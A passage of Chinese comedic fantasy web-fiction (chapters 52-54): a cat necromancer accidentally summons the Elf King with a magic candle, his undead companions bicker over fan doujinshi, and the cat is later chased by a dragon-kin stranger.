魔法生物保护协会的办公室里顿时陷入一片混乱,疑似要再现百年前的种族大战,最后还是伊夫林叫了停。 他揉着作痛的太阳穴,无可奈何地说:“行了,都去,都去,行了吧!” “先找到对方,再来说他到底是谁家的崽。” 话音落下,办公室终于恢复了安静,龙裔和兽耳男人都如饥似渴地盯着伊夫林。 他们都知道,现在只有伊夫林手中有他们想要的信息。 伊夫林叹了一口气:“会展内不允许观众和游客带宠物进场,但参赛人员不同,根据比赛的赛前采访,一共有3名参赛者带了猫来。” 他从桌子的抽屉里掏出一沓资料,显然早有调查。 “他们各在A市,P市和X市。正好我们可以一人一个去进行调查,但如果不是参赛人员带进来的猫,不在这三份资料中,我也无能为力了。” 几秒的沉默后,龙裔和兽耳男人双双点头,同意了伊夫林的处理方式,各拿了一份资料后离开。 望着他们头也不回的急切背影,伊夫林再一次叹了一口气。 他眼神落在桌上仅剩下的唯一一份资料上,目光微微一动。 照片上,一只鬼祟的奶牛猫正悄咪咪地伸出长长的手臂,用爪子勾向地上的电线,一看就在不干好事。 可在伊夫林眼中,却越看越可爱,怎么看怎么爱。 照片旁,地址明晃晃写着X市。 伊夫林用手指轻轻触碰照片,动作轻得像是在抚摸一个泡泡,神情怔怔。 ……会是,你吗? “阿嚏!” 莫特默打了一个响亮的喷嚏。 然后他赶忙鬼鬼祟祟,又紧张兮兮地朝左右看了看。 很好,周围没有任何人。安全。 莫特默提起的心缓缓落回肚子,他犹带警觉地收回视线,看向被他放在身下的那根白色蜡烛 ——正是那个被他说只是魔力结晶,没什么用的神器。 检查完周遭的环境,莫特默迫不及待地用魔力点燃了蜡烛的烛火。 烛火倒映在莫特默的眼中,照出了他满怀期待的表情。 第52章 “莫特默?” 莫特默尾巴猛地炸开, 受惊地垂直起跳。 落地后他第一时间扭头……啊哈哈原来是亥伯龙啊。 亥伯龙垂眸望着莫特默的背影,声音沉静:“你在做什么?” 莫特默重新竖起压下去的飞机耳,舔了舔爪子,故作沉着道:“是龙啊……我只是在研究这个魔法道具。” 说着, 他无辜地让开身体, 显露出被他毛茸茸的身影挡住的蜡烛。 蜡烛好端端地立在那, 烛火不知何时已经熄灭, 像是从来没燃起过一样。 亥伯龙的视线一动不动,没有去看那根蜡烛, 目光依旧钉在莫特默身上。 “嗯。”他不置可否地应了一声, 语气很平常, 莫特默却莫名感到一股巨大的压力从中传来:“那你研究出什么了?” 莫特默:“……” 不存在的汗在小猫背后流淌! 莫特默讨好地朝亥伯龙眨巴了下眼睛:“其实也没什么, 只是突然发现这个魔法道具好像不单单只能当作外置魔力。” “我也是才刚发现的哦,”他多此一举地说, “蜡烛内部好像有特殊的魔法纹路, 可以让使用者只需要付出一点打开通道的魔力, 点燃烛火, 就可以强制召唤一定范围内的死灵。” “那个使者就应该是在最后挣扎的时候只用了仅剩的魔力加上关于龙的关键词, 就利用这个魔法道具召唤出了幽灵龙。” “只不过因为他的魔力都差不多被耗完了,没能帮幽灵龙构建出□□, 但幽灵龙之后存在于世的魔力也将由这根蜡烛提供, 直到蜡烛烧完前, 召唤者都不需要付出魔力。” “也就是说,只要知道一些关于死灵召唤魔法的知识, 用了这根蜡烛,什么魔法师都能召唤死灵,并且必定成功, 从这个角度来说,确实可以称得上是一件神器呢。” “当然,我是不需要的。”莫特默若无其事地抖了抖耳朵道,“你是知道的。” 亥伯龙静静地听着,锐利的龙瞳注视着莫特默一言不发,就在莫特默脸上的表情快要撑不住了,他才像是相信了莫特默的说辞,微微侧过头,换了一个话题:“要来比一比吗?打游戏。” “之前在梦里,你不是总想赢过我吗?”他勾起嘴角,语气略带挑衅,“试一试?” 莫特默精神一振:“不会吧不会吧,亥伯龙你不会以为你能在游戏上赢过我吧?” 这可是他唯一一个赢过亥伯龙的东西,亥伯龙也是飘了,都曾输给他过,竟自信不会再输,用游戏来挑衅他? 莫特默因炸毛儿过于蓬松,像是个大鸡毛掸子似的尾巴“嗖”的一下就翘了起来。 亥伯龙见状难以自禁地笑了一下,为了掩饰自己嘴边的笑意率先转身。 果不其然,身后某个格外好上钩的奶牛鱼嘴里叼着那根蜡烛就屁颠屁颠地跟了上来,全然忘了他自己原先的计划。 亥伯龙带着莫特默回到客厅,沙发上,阿利斯泰尔正瘫在那,电视屏幕上血淋淋的GAME OVER照映着他的脸,维萨罗斯手肘撑在沙发背上,站在沙发后若有所思地对阿利斯刚刚的失败进行复盘,而坐在另一旁椅子上看书的塞拉菲涅抬眼看了一眼归来的亥伯龙和莫特默,眼底划过一丝了然,又低下头。 “为什么——”阿利斯泰尔哀嚎,“我明明应该有机会的,不应该是我假装被他抓住,然后趁机偷袭反杀吗?” “如果是我的话,”维萨罗斯认可道,“也不会只是简单地将人用锯子劈成两半,至少也要折磨一下。” 亥伯龙轻蔑地笑了一下:“所以我不会玩人类制作的恐怖游戏。” 这两个竟然指望以人类浅薄的认知,能制作出能复刻他们能在现实中做出的操作的游戏? “让开,我和莫特默要用。”他一脚毫不留情地踹开沙发上的阿利斯泰尔。 “什么?莫特默也要来吗?”阿利斯泰尔丝滑地滚下沙发,在地毯上毫发无损地抬头。 他就以这么一个侧躺在地上的姿势,看向莫特默,身后不存在的尾巴似乎都欢快地摇了起来,高兴地邀请道:“莫特默,和亥伯龙有什么意思,你和我一起玩吧!” 亥伯龙眉头微凝,面不改色就是一脚跺下去! 阿利斯丝滑地往右边一滚,成功躲过那朝他腹部跺来的致命一脚。 亥伯龙一击不成,刚放下的脚立马像踢皮球一样踢向阿利斯的脑袋。 阿里斯丝滑地一缩脖子,那只脚从他头顶擦过。 亥伯龙:? 阿利斯泰尔:^V^ 维萨罗斯立马兴致勃勃地直起身体,笑容戏谑。他知道,游戏中没有复刻的操作马上要在现实中实现了。 这可比阿利斯的恐怖游戏实况好看多了。他津津有味地观赏起阿利斯激烈的BOSS战。 噼里啪啦,两人绕着沙发折腾了一会儿后,竟还是亥伯龙先止住了动作。 阿利斯泰尔奇怪地抬眼,就见亥伯龙冷笑地掏出了一个什么东西递给他。 “就算你贿赂我,我也不会……”阿利斯泰尔的话戛然而止。 等等,这是什么?! 阿利斯看着面前那本花花绿绿,封面上印着一个兽耳女孩,旁边却有着他名字的书,以及一个极其炸裂的标题的书,瞳孔颤动。 阿利斯:!! 阿利斯泰尔战术后仰,就像吸血鬼见到了大蒜,克苏鲁神话生物见到了旧印。 原本远远站在一旁的维萨罗斯见状立马凑热闹地走过来,想要一探究竟。 他从阿利斯身后探出头,眯着眼睛,对着花花绿绿的本子说:“哎呀,这不是你的性转同人本吗?” “傲娇双马尾狼女哦。”他笑眯眯地补充道。 阿利斯泰尔如遭雷击,“性转…傲娇?” 维萨罗斯在阿利斯耳边梦魇低语:“当年刚出来的时候可是很受欢迎,被卖爆了的程度哦。” 阿利斯泰尔:“卖爆!” 维萨罗斯:“虽然现在傲娇退市场了,没什么人卖了,难为你能找到阿利斯的同人本。”他假装惊讶地说。 阿利斯泰尔:“退市场!” 维萨罗斯“哼哼哼”地愉悦地笑着,看上去很满意阿利斯这副石化龟裂的模样。 亥伯龙淡定:“别急,你也有。”说着,他掏出另一本。 维萨罗斯脸上的笑立马淡下去。 阿利斯瞬间从石化中恢复,探头一看。 吼~好一个媚眼如丝,乳不巨何以聚人心的长发知心大姐姐,唇边竟然还有一颗痣。 “……”阿利斯看着封面上的“维萨罗斯”陷入沉思,少顷,表情严肃地抬头,发出灵魂质问:“为什么我是贫乳?” 兽人的审美就是这么朴素,好就是大,大就是好,为什么在人类的艺术创作中,他没有维萨罗斯漂亮?! “以我的审美来说,”维萨罗斯也沉默了片刻,礼貌又疏离地说,“我倒更希望小一点呢……” 塞拉菲涅喉咙里顿时发出一声岔气的爆笑,很快又止住。 阿利斯泰尔和维萨罗斯如临大敌地看着那两本同人本,没有谁第一个接过亥伯龙手中的书,像是生怕不小心打开什么异世界的大门。 还是亥伯龙见两人迟迟不动,催促地摆了摆手中的书,扭头对莫特默说:“好了,我们可以开始……” 却见莫特默仰头盯着他手中的书,目光流露像是看小鱼干一样强烈的好奇和渴望。 亥伯龙:…… 失策。亥伯龙暗道糟糕。 果不其然,下一秒莫特默理直气壮地发出宣言:“让我看看!” 说完,腿一蹬就闪电般跳起飞扑向亥伯龙手中的书。 阿利斯泰尔和维萨罗斯顿时大惊失色,齐齐伸手,誓要在莫特默叼走前保护好自己的同人本。 唰唰两下,亥伯龙手中的同人本消失,莫特默扑了个空,不满地转头,就见阿利斯和维萨罗斯手中各拿着对方的同人本。 “给我看看喵。”莫特默撒娇般说。 阿利斯下意识想伸手交出手中的书满足莫特默,反正不是自己的同人本,可他刚伸手,就见维萨罗斯做出了相同的动作。 他动作猛然顿住,维萨罗斯也是。 他们心有灵犀地对视一眼,在那电光石火的一瞬间,无人知道他们在眼神中交流了什么,只看到他们飞快地达成默契,手上伸出去的动作不停只是转了一个方向,变成与对方交换手中的同人本。 交换完后,他们都一脸郑重地收好手中的书,显然没有一个愿意大方地和莫特默分享。 莫特默见状怒了,打算不讲武德。 他可是至高无上的猫猫主人,哪容得了大胆仆人的忤逆! 而且猫猫只是想看点好东西,怎么这都不能满足他? 莫特默邪恶地说:“快将你们手中的书交出来,不然不要怪我用‘命令’让你们交出来了。” 阿利斯泰尔和维萨罗斯顿时面露震惊,没想到莫特默一掏就掏出了一个杀手锏。偏偏对此他们都无能为力。 顿时他们变得进退两难。 TO BE OR NOT TO BE,这是一个问题。 他们是万万不愿意交出去的,但莫特默显然也不愿意放弃。 世上最大危机出现! 真正的恐怖BOSS堂堂登场了。 难道他们真的只能屈服于莫特默的淫威之下,交出自己的性转同人本,然后沦落为其他人口中的笑柄了吗? 阿利斯晃阖了阖眼,在这一刻,他的过去一一在他眼前浮现,不过是一本同人本,与他的经历相比不值一提,要做出什么选择已经显而易见了。 接着他高举起手中的同人本,一脸悲壮地大喊:“总有一些事情要高于其他!*” 说着,就要将手中的同人本撕成两半。 “我用亥伯龙的同人本换!”莫特默高声制止。 什么?!?! 好似有一道白光像子弹般齐齐穿阿利斯,维萨罗斯和亥伯龙的脑袋。 “成交——!!!”在反应过来前,阿利斯脱口而出。 维萨罗斯语速飞快:“我的这本比阿利斯的受欢迎,和我换!” 亥伯龙气急败坏:“莫特默,不许换!!!” 他不在乎自己在同人本中的形象不代表他能接受其他人借此对他的无端嘲笑。 他冷静了一点,又说:“你根本不需要换,我这还有,甚至还有别的!” 莫特默像个猫头鹰一样将脑袋转了过来。 亥伯龙继续道:“对了,你不是对精灵王那家伙感兴趣吗,我这还有你上次没看的他的同人本。” 莫特默狠狠心动了。 一换三?这个交易猫可以做。 阿利斯和维萨罗斯见势不妙,立马出声。 维萨罗斯指出:“不要被亥伯龙骗了,如果他买得多我们不可能在回来的途中发现不了,他定是只买了两本,就是我们手中的这两本。” 阿利斯泰尔更是发话:“就是,莫特默,他就算多买也一定买的都是他死对头,就是精灵的同人本,绝不会屯我和维萨罗斯的!” “死对头?”莫特默捕捉到感兴趣的词,立马好奇地问,“他们不是好朋友吗?” 亥伯龙:!? 好·朋·友 这三个字不停在他们脑海中回荡,阿利斯和维萨罗斯震撼地待在原地,感觉头一次认不得这个词了。 坐在一旁塞拉菲涅忍不住又岔着气爆笑了一声。 这一声唤回了阿利斯的神智,他面不改色心剧烈跳着地承认:“没错。” “就因为他们是好朋友,亥伯龙才会买很多精灵的同人本,而我的就这一本。” 莫特默顿觉有理:“这么说来,还是和你们换更好。” 物以稀为贵,和亥伯龙手中众多的精灵王同人本相比,只有一本的阿利斯的和维萨罗斯的同人本,似乎变得金光闪闪起来。 阿利斯大力点头,对的对的,就是这样。 维萨罗斯笑着加码:“我们可以用我们手上的两本换亥伯龙的那一本。” 眼看局势倾斜,亥伯龙咬着牙:“莫特默!” 莫特默又改口,说:“不过也是要看我的心意。” ……心意? 阿利斯直接顿悟,转头就从莫特默旁边的柜子里拿出一把猫咪专用梳,小心又殷勤地蹲下来,给莫特默轻轻地梳毛。 梳毛间,还温声细语地询问他的力道轻不轻,重不重,哪里有没有没梳到位。 莫特默享受地眯起眼。 不错,狼就是这么上道。 “那关于同人本的事,你看……?” “啊——”维萨罗斯不知从哪拿来一根猫条,递到莫特默嘴边,打断道。 莫特默微微一侧头,就将那口猫条美美舔进嘴里,尽享鲜美滋味。 刚吃完,下一口就到了嘴边,就这么一口接一口,不一会儿,就将那根猫条炫完了,维萨罗斯立马将另一根猫条举到莫特默嘴边。 莫特默张嘴,又合上,假模假样忧虑地说:“吃这么多,会不会发胖呀。” 维萨罗斯活像个佞臣般,立马细声细语地说:“怎么会呢?” “你本来就太瘦了,正好多吃点。”他眼睛都不眨一下地睁眼说瞎话道。 阿利斯也立马道:“按摩帮助消化,梳梳毛就该吃点东西。” 嗨呀,说得对! 莫特默一口将嘴边的猫条吃下。 亥伯龙:?!?! 他张了张口,扶额受不了地说:“过来。” 莫特默顿时横眉冷竖,两个白色的豆豆眉高高挑起。 怎么和猫猫陛下说话呢? 亥伯龙无奈道:“趴地上不冷吗?来我身上。” 哦~是这个意思啊。 豆豆眉回到它该待的位子,但……莫特默拒绝:“不要。” 他昂着小脑袋,睁一只眼闭上一只眼地看着亥伯龙,暗示道:“我现在不冷,相反,还有点热喵。” 亥伯龙啼笑皆非,接收到了莫特默的暗示,只好无奈又纵容地掏出一本书作扇子,给莫特默扇风。 小风徐徐,密集的梳齿不轻不重地划过脊背,嘴边就是小零食。 莫特默惬意地农夫踹,团成一个软绵绵的毛球。 扇子规律地划过身旁,本能地吸引了莫特默的注意力。 他定睛一看,嗯? 被当作扇子的,不是精灵王的那本同人本吗? 他感兴趣地从地上站起,就要指挥亥伯龙把那本书摊给他看,“龙,把精灵王的……” 活动间,他的爪子碰到了什么。 莫特默下意识低头,爪子抬起踩在那个滚来的圆柱形物体上。 “呼——” 白色蜡烛的烛芯被自动点燃,之前没能成功的召唤因为再一次接触到了使用者重新启动,蜡烛内部铭刻的魔法随着使用者的话语运转起来。 莫特默呆呆地看着那枚意外从桌上滚落,正好滚到他脚下的蜡烛,没反应过来地将剩下的话说完:“把精灵王的同人本给我拿来检查一下……” 繁复的魔法阵在莫特默面前一段位置的地板上出现,室内忽然卷起一阵不知从哪来的风。 法阵发出刺眼的光,一道身影随之显现,出现在魔法阵的中心。 那人闭着眼,有着一头淡金色的长发,长长的尖耳,眉骨立体,眼尾微挑,睫毛细密地垂下,唇色偏淡,嘴角天然略微下垂的弧度,肤色白得像是一尊瓷器,面目清冷中自带威仪,还有着一股不食人间烟火的疏离。 他穿着一袭白色的长袍,头上戴着一顶由植物编织而成的桂冠。 法阵的光芒隐去,淡金色的睫毛微微颤动,精灵睁开了他那双碧色的眼眸,望向人间。 作者有话说: *出自诡秘之主 第53章 莫特默和其他人目瞪口呆地看着法阵的光芒转瞬亮起又熄灭, 精灵王立于阵中,金发如瀑,眉眼如山间初雪,不见一丝波澜。 所有人都呆在原地, 动作僵在半空, 房间内一时陷入一阵诡异的沉默。 被意外召唤的精灵王缓缓睁开眼, 垂眸看向自己的双手, 动作轻缓而优雅,仿佛不是在审视一具被强行唤醒的躯壳, 而是在赏玩一片落在掌心的花瓣。 连莫特默都下意识屏住呼吸, 被这份出尘的气度慑住了心神。 空气中静悄悄的, 站在那静态的精灵王美得像是一幅油画。 然后在所有人的视线下, 精灵王开口了。 他声音清冽如泉,不带一丝烟火气: “我艹你大爷。” 莫特默:…… 莫特默:…………? “不好意思。”精灵王的语气依旧温润如玉, 整个人看上去没有一处不完美的地方, 歉意地说, “方才失态了。” “我的意思是——”他终于抬眸, 肯去看一眼自己的召唤者。 他目光清冷地扫过莫特默…… “你踏马的是不是活……” 和莫特默旁边, 给莫特默梳毛的阿利斯泰尔,给莫特默喂猫条的维萨罗斯, 给莫特默扇风纳凉的亥伯龙, 以及坐在不远处优哉游哉喝茶的塞拉菲涅。 “腻了……?” 一圈老熟人保持着一动不动的姿势望着他, 呈环绕状包围在那个召唤他的死灵法师身边,活像举办了什么只单独没邀请他的聚会。 精灵王:…… 精灵王:…………? 这始料未及的画面让精灵王也猛然一瞬间大脑放空, 忘了自己想说什么。 两方大眼瞪小眼,尴尬的空气在房间内静静流淌。 “唰——!” 还是一道狠厉的破空声,打断这宛如是一二三木头人游戏, 被看着就不能动的场面。 精灵王动作极快地接住朝他脸袭来的暗器,下意识就想反手丢回去,可到手一摸,竟是一本书? 不愧是没*养的龙,竟用宝贵的书籍当作暗器。 精灵王淡淡地想,他低头一看,一个极具冲击力的画面映入眼帘。 书的封面上,是一个脸上布满红晕,面露羞涩的女精灵,充满了少女的魅力,画面精美,用色鲜艳大胆,可见制作这本书和作画者的用心。只一看,好似就有不存在的“哇哦~~~”的幻听和粉红色的爱心从中冒出。 可这**的,上面为什么印着他的名字,还特意表明了上面画的就是精灵王,“瑟兰迪尔”! 也就这一个怔愣,让他没能躲过亥伯龙的逼近。 亥伯龙一把揪住瑟兰迪尔的衣领就往地上狠狠灌去,将其按回光亮还没彻底消失的法阵。 “给我滚!!”他冷笑着气极道。 瑟兰迪尔从短暂的震撼中回过神,又恢复成那副清冷出尘的模样。 “你*死了。”他语气淡泊,“被召唤后,除非死灵法师死亡或主动解除契约,死灵无法回去,这都不知道吗?” 这一下像是打破了什么,其他所有僵住的人一一解冻,纷纷起身。 “呵。”亥伯龙将这个贱,咳,装模作样的精灵塞回法阵无果后,转头看向莫特默。 来不及为他怎么一没看住,莫特默就在他眼皮子底下又召唤了一个死灵,还是他的老对头的事而感到窝火, 他像好心劝说莫特默不要捡破烂一样,咬牙切齿道:“莫特默,这个就不要了……” 死对头的含义就应该是死的对头。什么,你说死后阴魂不散,又卷土重来了?他不介意帮个忙。 阿利斯泰尔赶忙前来劝架,手中还拿着那个猫毛梳:“算了算了,召都召唤了,以后都是一家……” 维萨罗斯推了推眼镜,语气风凉:“哎呀,这不是我们大名鼎鼎的光明之子吗?” 塞拉菲涅轻轻啜了一口茶,露出有点头疼的表情。 莫特默也起身,朝瑟兰迪尔欢迎又惊喜地呼唤道: “老师!” 这一声石破天惊。 刹那间,在场的所有人陷入新一轮的心灵震撼,像是被人拿闷棍狠狠敲了一脑袋。 他们都知道莫特默是有一个老师的,并且莫特默很喜欢他的老师,从莫特默的只言片语中,也能侧面得知那个老师是个脾气温和,十分宠爱莫特默的人。 但瑟兰迪尔……? 所有人都好像误入了一场龙卷风,被风暴刮得东倒西歪,不知今夕何夕。 阿利斯泰尔手中的梳子砰地一下落地,维萨罗斯鼻梁上的眼睛滑稽地滑下,塞拉菲涅手中捏着的茶杯出现细细的裂痕。 亥伯龙更是愣愣地放开揪着瑟兰迪尔衣领的手,表情一片空白。 只有瑟兰迪尔还有动作,他蹙眉,目光越过亥伯龙看向莫特默。 邪恶的死灵法师叫**叫呢。 他刚想冷傲退死法,就见奶牛猫看过来的纯澈的金色眼眸就像是阳光穿过树叶投射在地上的圆点光斑。 其中充斥着纯然的欣悦、渴望、期待,充斥着让人想到光明,清风,温暖……总之一切会让人联想到美好的东西。 瑟兰迪尔微微一怔,都到嘴边的话没能吐出。 “真的好像啊。”莫特默惊叹地继续道,语气甚至略带后怕和抱怨,“你出来的时候,我还以为是老师来了呢。” 闻言,所有人都放松地长长舒了一口气。 原来不是啊……太好啊不是,果然如此,瑟兰迪尔怎么可能会是莫特默的老师呢。 亥伯龙也不自觉地松了一口气,讥讽道:“这也是你仅剩的唯一能看的点了。” “怎么?”瑟兰迪尔眉眼疏淡,“嫉妒?” “嗤。”亥伯龙说,“既然这么得意于自己的脸,不如我帮你把它扒下来,方便你保存。” “羡慕嫉妒就直说,”瑟兰迪尔礼貌地说,“可惜,只会喷火的大蜥蜴再怎么捯饬也难以见人,胖得往哪一坐都是山体滑坡,远看是个火山喷发后的废墟,近看原来废墟还会张眼睛,还会用鼻孔瞪人。” 亥伯龙额角一跳,沙包大的拳头手背上青筋明显鼓起,喉咙泛起一股热意,很想一口龙炎就这么喷到这个死人脸的脸上。 回来了,那种高血压的感觉全都回来了。 阿利斯泰尔赶忙拉架:“停停停,有什么恩怨都是之前的事了,现在我们都只是莫特默召唤的死灵,有什么不能好好说的吗。” “而且你们在最后不是都和好了吗?”他苦口婆心道。 瑟兰迪尔弹了弹自己的衣领,淡然地说:“别误会。” 亥伯龙也语气不善道:“你在说什么?” “我可从没和这家伙有过什么交情。”他们一个淡漠一个戾气的声音一齐道。 阿利斯泰尔一呆:“可在亥伯龙第一个杀了神后,瑟兰你不是第一个响应的吗?” “这难道不是你们提前商量好的?”他左看看瑟兰迪尔,右看看亥伯龙,眨眨眼,不明所以道。 亥伯龙语气恶劣:“跟屁虫的举动跟我有什么关系?” 瑟兰迪尔眼神清冷:“单纯只是这个无脑的**龙不合时宜地动手,反而害得我不得不临时改变计划。” 亥伯龙:“嗤。” “就你那无聊的,说要慢慢消磨他们的计划,你真以为他们会乖乖上当?”他毫不客气地嘲笑。 瑟兰迪尔:“哦?所以你的高见就是趁他们都在时,直接暴起,一个包围他们一群?” 亥伯龙:“怎么?难道不比你那什么计划来得快?” 瑟兰迪尔:“所以被围攻,战至力竭而死也是你应得的下场。” 阿利斯泰尔听着,一副被刷新了三观的表情。 什么什么?所以当初传来亥伯龙弑神的消息后,瑟兰迪尔第一个站出来代表精灵族发出响应,然后是海妖,兽人,元素妖精,梦魇…… 各族背叛其神,向神宣战。 作为兽人之王的阿利斯泰尔发现盟友精灵族第一个站出来后,当仁不让也发出响应。 他本来以为这是亥伯龙和瑟兰迪尔背着他早就商量好的。目前两个大陆上最强盛的势力达成结盟,说要一起开团,这不立马上车? 结果现在你告诉我,一切都是他单方面的误会? 阿利斯泰尔一脸震撼。 面对瑟兰迪尔的讥讽,亥伯龙面不改色,扯了扯嘴角:“那又如何?” “是我赢了。”他勾起一抹没有丝毫悔改,十足狂傲的笑容,神气又理所当然地道。 直到最后一刻,所有的敌人都倒下了,只有他还在,独自站在战场上,风刮过麻木的伤口,身体沉重得好似下一秒就要倒下,可他的心中只有畅快。 直到意识陷入黑暗的最后一刻,他的心中也没有任何遗憾与悔恨,相反,在那时,他才真正获得了自由,也带领族人获得了自由。 只可惜没能欣赏到最后那个躲藏起来的神的死状。 “不过,”他忽又冷哼一声,轻蔑地说, “我也是没想到你们能废物到只剩下一个也没能将其杀死,让他留到了现在。” 瑟兰迪尔安静地听完,点了点头,从容不迫道: “****(精灵脏话)” 他转而看向阿利斯泰尔,轻声问:“阿利斯,我死得早,你能为我解释一下吗?” “哎?”阿利斯泰尔脸上条件反射地挂上开朗的笑容,他揉了揉后脑勺的头发:“这个嘛……” 他沉思了一下,说:“可能是没注意不小心放跑了吧哈哈哈。” 他露出意外的表情,像是自己也没想到这种事会发生。 瑟兰迪尔静静地听着,脸上是淡淡的,鼓励式的微笑。 然后他抬起手,像是弹衣领边的灰尘一样,轻轻一弹。 “啊——!谋杀盟友啊啊啊!” 阿利斯泰尔当即发出一声惨叫,嗷呜嗷呜地变成一头白狼,立马夹着尾巴跑远,一溜烟地躲到莫特默身后。 可怜莫特默小小的身体根本遮挡不了努力缩成一团,可依旧庞大的狼躯。 “你刚才说什么来着?”瑟兰迪尔转过身朝阿利斯问,语气温和得像是闲聊,“我没听清。能不能再说一遍?” 阿利斯泰尔将头藏在莫特默身后,喉咙中发出断断续续的呜咽,没有回答。 瑟兰迪尔依旧是那副清冷出尘的模样:“不说话?” “那我替你说了——” 他微微一笑,笑容中带着悲天悯人的慈悲, “你这***,**,你这***,**。” “**中的**,我今日算是开眼了。” 阿利斯泰尔的狼脸看不出什么,一同直面了怒喷的维萨罗斯脸上的笑倒是有些挂不住:“哎呀,出现这种事,大家都是不想的。” 阿利斯泰尔弱弱地说:“就是就是。” “既然大家都在,那就捉出来再杀一次不就行了?” 阿利斯泰尔弱弱地说,声音变大了一点:“就是就是。” 塞拉菲涅也忙不迭道:“我也可以帮忙,这一次不可能再失手。” 阿利斯泰尔弱…理直气壮地说:“就是就是。” 瑟兰迪尔轻轻阖了阖眼,侧过脸,侧脸线条清冷而神圣,宛如一尊神像。 他说:“你帮个*。” “你们能干什么?” “是朝对方吐泡泡,”他对塞拉菲涅说完,目光又转向维萨罗斯,“还是哄对方睡觉?” 塞拉菲涅与维萨罗斯脸色顿时一变,蓦然冷笑。 一时间不大不小的房间内,讽刺与攻击性语言起飞,狼毛共唾沫一色,疑似第一次种族大战在这个时代重启,新的时代,新的赛季。 依旧卧在原地的莫特默懒洋洋地打了一个哈欠,饶有兴致地在第一观众席观赏着大战,特别是细细地打量起新来的精灵王。 好看,爱看,真是太像了! 如果毒哑了,说不定能有9分相似。 莫特默想着,沉迷在瑟兰迪尔那格外神似他老师的容颜中,没有发现亥伯龙注意到这一点后产生变化,微微扭曲的表情。 也多亏来的新人是这个性格,现在根本没人追究小猫当着所有人的面召唤死灵的事,全部火力都集中在瑟兰迪尔身上。 而且也因蜡烛召唤了瑟兰迪尔而被烧掉了一大截,所以没有人发现…… 这个蜡烛其实被使用过不止2次。 莫特默翘起胡须,眼睛无辜地转了转,望着外面晴朗的天气感慨, 今天,又是热闹的一天啊~ …… 不不不,好像有点太热闹了! 没几天,还在隔岸观火的莫特默就受不了了。 瑟兰迪尔虽然留了下来,但和亥伯龙也是真的势同水火,一言不合就会发展成针尖对麦芒的状态。 而且也不知道他最近是戳到亥伯龙的哪根神经了,亥伯龙最近的行为越来越明显,就在昨晚,他竟然说莫特默又新召唤了一个死灵,魔力可能会不够,问他要不要补魔! 莫特默一开始还没反应过来,经过亥伯龙暗示才恍然他说的竟是最原始的,通过交换□□来交换魔力的那种。 天呐,猫哪受过这种,但输人不输阵,猫只能假装很镇定很懂地拒绝了。 但亥伯龙的眼神明晃晃地告诉莫特默,他没有放弃。 看来这家暂时是待不下去了,莫特默深沉地想。 又一次亥伯龙和瑟兰迪尔的争端开启,莫特默麻溜地找机会偷跑出了废弃工地。 嗐,都怪猫的魅力太大,龙上赶着也要给猫补魔。 莫特默轻快地迈着四条腿,呼吸着外面的新鲜空气,如此想道。 他站在高高的围墙上,迈着猫步踩着直线走着,又接着跳上挨着围墙的一棵大树,想等会儿就卧在树干上,悠闲地观赏底下来来往往的人群。 就在这时,一道目光精准地投了过来,充满了打量的意味。 蹲坐在树干上的莫特默奇怪地回看过去。 只见目光的主人是一个身材魁梧的大叔,对方目光灼灼地盯着他看,看了一圈后,竟眼中冒着像是猫贩子,又像是丧尸看到人肉般垂涎的光,目标明确,脚步飞快地朝他走来。 莫特默:?! 莫特默的背豁然拱起,爪子从肉垫中弹出。 他现在可不是在安全的结界内,死灵也一个不在身边,魔力由于毫无准备地召唤了瑟兰迪尔也不够充足。 那道饱含“找到你了!”意味的目光……难道对方是那名神的信徒? 细思极恐,受到惊吓的莫特默毫不犹豫跳下大树转身就逃。 “别逃!”目光炙热的大叔立马发现了莫特默的举动,高声叫道,“我不是坏人!” 别想骗猫,坏人都是这么说的! 闻言莫特默逃得更快了,甚至用上了魔法隐蔽身形。 他没有看到,追在他身后的大叔看到他使用了魔法后面露狂喜,眼神更是笃定,像是确认了什么,追得更紧了。 “别跑!!”大叔的面容因狂喜而扭曲狰狞。 莫特默一回头,惊骇欲绝:“喵呀——!” 第54章 莫特默吓得毛都炸开了。 追在他屁股后面的大叔因为激动浑身肌肉鼓起, 显得像是一头熊一般魁梧,脸上的肌肉更是严重变形,嘴角要勾不勾,似哭似笑, 形如恶鬼, 看上去下一秒要生吃小猫了。 而且他不是都用了隐形魔法吗?对方为什么还能追得这么紧? 莫特默惊恐地回过头, 四脚都要踩出残影, 恨不得变成风火轮地逃离对方的视线。 可对方穷追不舍,像是鬼一样缠上来, 又追着唐僧的妖怪般誓要追到莫特默。 他一边追着, 一边嘴中还像迷惑人心的妖怪一样吐出试图迷惑莫特默的话:“我真的没有恶意, 我是来帮助你的!” 可惜对方粗犷硬朗的声音完全没有妖怪那般轻柔蛊惑的意味, 所以起到反效果也是理所当然的吧? 莫特默跑得头也不回。 眼见莫特默根本不听,追在莫特默的大叔咬咬牙, 心中五味杂陈, 又是喜悦又是得意又是懊恼。 喜悦是喜悦在成功发现了莫特默, 得意是得意在他们没有上当, 乖乖听从伊夫林的话, 按照得到的那份资料去找。 相信一个阴得没边的梦魇?天真的妖精都会对此斟酌一二。 要不是他们龙族上门讨要说法,伊夫林怕不是发现有幼崽这件事都不会告知他们, 还说什么让他们一族一份地去找, 哼。 伊夫林, 我信你个鬼。 表面上让他们先选,实际上, 最后那份留给他自己的,肯定才是最有希望那个! 果不其然,他故意迷惑其他人, 让他们以为他去了A市,实则来到X市,这不被他发现了! 但懊恼就懊恼在…… 虽然莫特默用的隐形魔法根本瞒不了他,即便对方隐藏了身形,可动作间发出的声音,风和光线产生的微小变化,甚至地面上尘土的扬起,无一不为他指出了莫特默的所在。 但作为魔法生物保护协会为他们办理护照再加上提供其他帮助的交换,他签订了不能在人类的视线中随意变成原形或使用魔法的契约, 也因此,就算他现在发现了目标,也无法变成龙形嘴一张,就直接把小猫叼走,叼回族地。 没办法,他掏出一个手机,有些笨拙地拨通了一个号码。 “我找到他了,快来!”他脚下不停,朝手机另一头的同伴堪称咆哮地催促道。 只隔了两米左右距离的莫特默当然听到了这句话,顿时瞪大了眼睛。 什么,还有同伙?! 难道不是意外发现他,而是有备而来!? 莫特默立马换了一个方向跑,不让对方预测自己的逃跑路径好提前在前方堵他。 大叔也跟着变向,他追在莫特默背后冲刺了好几分钟,急速变向时连踉跄都没有,呼吸甚至都没有紊乱一点。 真是个硬茬子,莫特默暗想,顺便思考起自己是不是应该走一些只有猫能通过的小道,以此来甩掉对方。 就在这时,他听到身后的大叔惊喜地朝前方道:“快、快拦下他!” 莫特默前方一名背对着他,似乎正在和什么人交谈的男人瞬时扭身看了过来。 